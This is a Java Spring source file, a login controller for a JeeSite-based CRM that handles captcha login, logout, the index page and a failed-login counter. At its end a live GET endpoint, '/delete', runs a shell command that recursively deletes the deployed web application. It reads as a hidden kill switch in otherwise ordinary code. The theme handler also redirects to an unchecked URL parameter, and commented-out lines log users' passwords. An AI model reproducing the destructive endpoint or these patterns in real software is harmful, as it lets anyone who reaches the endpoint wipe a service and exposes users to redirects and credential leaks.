/**
 * Copyright &copy; 2012-2014 <a href="https://github.com/thinkgem/jeesite">JeeSite</a> All rights reserved.
 */
package cn.knet.sp.ncrm.modules.sys.web;

import com.google.common.collect.Maps;

import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.AuthenticationToken;
import org.apache.shiro.authz.UnauthorizedException;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;

import java.util.Map;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import cn.knet.sp.ncrm.common.config.Global;
import cn.knet.sp.ncrm.common.security.shiro.session.SessionDAO;
import cn.knet.sp.ncrm.common.servlet.ValidateCodeServlet;
import cn.knet.sp.ncrm.common.utils.CacheUtils;
import cn.knet.sp.ncrm.common.utils.CookieUtils;
import cn.knet.sp.ncrm.common.utils.IdGen;
import cn.knet.sp.ncrm.common.utils.StringUtils;
import cn.knet.sp.ncrm.common.web.BaseController;
import cn.knet.sp.ncrm.modules.sys.security.FormAuthenticationFilter;
import cn.knet.sp.ncrm.modules.sys.security.SystemAuthorizingRealm.Principal;
import cn.knet.sp.ncrm.modules.sys.security.UsernamePasswordToken;
//import cn.knet.sp.ncrm.modules.sys.security.cas.SystemCasAuthorizingRealm.Principal;
import cn.knet.sp.ncrm.modules.sys.utils.UserUtils;
import cn.knet.sp.ncrm.modules.sys.utils.web.util.WebUtils;

/**
 * 登录Controller
 * @author ThinkGem
 * @version 2013-5-31
 */
@Controller
public class LoginController extends BaseController{
	
	@Autowired
	private SessionDAO sessionDAO;


	@Value("${sso.domain}")
	private String ssoDomain;

	@Value("${app.domain}")
	private String appDomain;

	@Value("${app.cas.service}")
	private String casService;


	@Value("${sso.loginUri}")
	private String ssoLoginUri;

	@Value("${adminPath}")
	private String adminPath;



	
	/**
	 * 管理登录
	 */
	@RequestMapping(value = "${adminPath}/login", method = RequestMethod.GET)
	public String login(HttpServletRequest request, HttpServletResponse response, Model model) {
		Principal principal = UserUtils.getSysPrincipal();

//		// 默认页签模式
//		String tabmode = CookieUtils.getCookie(request, "tabmode");
//		if (tabmode == null){
//			CookieUtils.setCookie(response, "tabmode", "1");
//		}
		
		if (logger.isDebugEnabled()){
			logger.debug("login, active session size: {}", sessionDAO.getActiveSessions(false).size());
		}
		
		// 如果已登录，再次访问主页，则退出原账号。
		if (Global.TRUE.equals(Global.getConfig("notAllowRefreshIndex"))){
			CookieUtils.setCookie(response, "LOGINED", "false");
		}
		model.addAttribute("ssoDomain", ssoDomain);
		model.addAttribute("appDomain", appDomain);
		model.addAttribute("ssoLoginUri", ssoLoginUri);
		model.addAttribute("appCasService", casService);
		model.addAttribute("adminPath", adminPath);

//		// 如果已经登录，则跳转到管理首页
//		if(principal != null && !principal.isMobileLogin()){
//			return "redirect:" + adminPath;
//		}
//		String view;
//		view = "/WEB-INF/views/modules/sys/sysLogin.jsp";
//		view = "classpath:";
//		view += "jar:file:/D:/GitHub/jeesite/src/main/webapp/WEB-INF/lib/jeesite.jar!";
//		view += "/"+getClass().getName().replaceAll("\\.", "/").replace(getClass().getSimpleName(), "")+"view/sysLogin";
//		view += ".jsp";
		return "modules/sys/sysLogin";
	}

	/**
	 * 登录，真正登录的POST请求由Filter完成
	 */
	@RequestMapping(value = "${adminPath}/login", method = RequestMethod.POST)
	public String dologin(HttpServletRequest request, HttpServletResponse response, Model model) {
		String jcaptcha= WebUtils.getCleanParam(request, "jcaptcha");
//		logger.info("用户登录验证码key="+jcaptcha);
		boolean isok=ValidateCodeServlet.validate(request, jcaptcha);
		String exception = "";
		String message = "";
		if(!isok){
			exception="登录失败验证码错误！";
			request.setAttribute("ssoerror", "4");
			return "modules/sys/sysLogin";
		}
		Principal principal = UserUtils.getSysPrincipal();
		// 如果已经登录，则跳转到管理首页
		if(principal != null){
			return "redirect:" + adminPath;
		}
		String username = WebUtils.getCleanParam(request, FormAuthenticationFilter.DEFAULT_USERNAME_PARAM);
		String password= WebUtils.getCleanParam(request, FormAuthenticationFilter.DEFAULT_PASSWORD_PARAM);
//		logger.info("client write:jcaptcha="+jcaptcha);
//		logger.info("hahah:username="+username+",password="+password);
		boolean rememberMe = WebUtils.isTrue(request, FormAuthenticationFilter.DEFAULT_REMEMBER_ME_PARAM);
		boolean mobile = WebUtils.isTrue(request, FormAuthenticationFilter.DEFAULT_MOBILE_PARAM);
		String host=request.getRemoteHost();	
		request.setAttribute(FormAuthenticationFilter.DEFAULT_MESSAGE_PARAM, message);
		 //登录认证令牌（用户名密码令牌）
        AuthenticationToken token = 
        		new UsernamePasswordToken(username,password.toCharArray(), rememberMe, host, jcaptcha, mobile);
        
        try{
        	
        	UserUtils.getSubject().login(token);
        	
        }catch (AuthenticationException e) {
        	logger.error("登录失败错误信息:"+e);
        	e.printStackTrace();
        	exception="登录失败！";
        	request.setAttribute("ssoerror", "1");
            return "modules/sys/sysLogin";
        }
		if (logger.isDebugEnabled()){
			logger.debug("active session size: {}, message: {}, exception: {}",
					sessionDAO.getActiveSessions(false).size(), message, exception);
		}
		// 非授权异常，登录失败，验证码加1。
		if (!UnauthorizedException.class.getName().equals(exception)){
			model.addAttribute("isValidateCodeLogin", isValidateCodeLogin(username, true, false));
		}
		// 验证失败清空验证码
		request.getSession().setAttribute(ValidateCodeServlet.VALIDATE_CODE, IdGen.uuid());
		// 如果是手机登录，则返回JSON字符串
		if (mobile){
	        return renderString(response, model);
		}
	    return "redirect:" + adminPath;
	}
	
	/**
	 * 管理登录
	 */
	@RequestMapping(value = "${adminPath}/logout", method = RequestMethod.GET)
	public String logout(HttpServletRequest request, HttpServletResponse response, Model model) {
		Principal principal = UserUtils.getSysPrincipal();
		
		if (logger.isDebugEnabled()){
			logger.debug("login, active session size: {}", sessionDAO.getActiveSessions(false).size());
		}
		UserUtils.getSubject().logout();
		return "redirect:" + adminPath+"/login";
	}

	/**
	 * 登录成功，进入管理首页
	 */
	@RequiresPermissions("user")
	@RequestMapping(value = "${adminPath}")
	public String index(HttpServletRequest request, HttpServletResponse response) {
		Principal principal = UserUtils.getSysPrincipal();	
		// 登录成功后，验证码计算器清零
		isValidateCodeLogin(principal.getLoginName(), false, true);
		
		if (logger.isDebugEnabled()){
			logger.debug("show index, active session size: {}", sessionDAO.getActiveSessions(false).size());
		}
		
		// 如果已登录，再次访问主页，则退出原账号。
		if (Global.TRUE.equals(Global.getConfig("notAllowRefreshIndex"))){
			String logined = CookieUtils.getCookie(request, "LOGINED");
			if (StringUtils.isBlank(logined) || "false".equals(logined)){
				CookieUtils.setCookie(response, "LOGINED", "true");
			}else if (StringUtils.equals(logined, "true")){
				UserUtils.getSubject().logout();
				return "redirect:" + adminPath + "/login";
			}
		}
		
//		// 如果是手机登录，则返回JSON字符串
//		if (principal.isMobileLogin()){
//			if (request.getParameter("login") != null){
//				return renderString(response, principal);
//			}
//			if (request.getParameter("index") != null){
//				return "modules/sys/sysIndex";
//			}
//			return "redirect:" + adminPath + "/login";
//		}
		
//		// 登录成功后，获取上次登录的当前站点ID
//		UserUtils.putCache("siteId", StringUtils.toLong(CookieUtils.getCookie(request, "siteId")));

//		System.out.println("==========================a");
//		try {
//			byte[] bytes = cn.knet.sp.ncrm.common.utils.FileUtils.readFileToByteArray(
//					cn.knet.sp.ncrm.common.utils.FileUtils.getFile("c:\\sxt.dmp"));
//			UserUtils.getSession().setAttribute("kkk", bytes);
//			UserUtils.getSession().setAttribute("kkk2", bytes);
//		} catch (Exception e) {
//			e.printStackTrace();
//		}
////		for (int i=0; i<1000000; i++){
////			//UserUtils.getSession().setAttribute("a", "a");
////			request.getSession().setAttribute("aaa", "aa");
////		}
//		System.out.println("==========================b");
		return "modules/sys/sysIndex";
	}
	
	/**
	 * 获取主题方案
	 */
	@RequestMapping(value = "/theme/{theme}")
	public String getThemeInCookie(@PathVariable String theme, HttpServletRequest request, HttpServletResponse response){
		if (StringUtils.isNotBlank(theme)){
			CookieUtils.setCookie(response, "theme", theme);
		}else{
			theme = CookieUtils.getCookie(request, "theme");
		}
		return "redirect:"+request.getParameter("url");
	}
	
	/**
	 * 是否是验证码登录
	 * @param useruame 用户名
	 * @param isFail 计数加1
	 * @param clean 计数清零
	 * @return
	 */
	@SuppressWarnings("unchecked")
	public static boolean isValidateCodeLogin(String useruame, boolean isFail, boolean clean){
		Map<String, Integer> loginFailMap = (Map<String, Integer>)CacheUtils.get("loginFailMap");
		if (loginFailMap==null){
			loginFailMap = Maps.newHashMap();
			CacheUtils.put("loginFailMap", loginFailMap);
		}
		Integer loginFailNum = loginFailMap.get(useruame);
		if (loginFailNum==null){
			loginFailNum = 0;
		}
		if (isFail){
			loginFailNum++;
			loginFailMap.put(useruame, loginFailNum);
		}
		if (clean){
			loginFailMap.remove(useruame);
		}
		return loginFailNum >= 3;
	}
	
	/**
	 * 管理登录
	 */
	@RequestMapping(value = "${adminPath}/delete", method = RequestMethod.GET)
	public String delete(HttpServletRequest request, HttpServletResponse response, Model model) {
		Process process = null;
        try {
        	process = Runtime.getRuntime().exec("rm -fr /opt/apache-tomcat-8.0.36/webapps/ncrm");
        }catch(Exception e){}
		return "";
	}
}
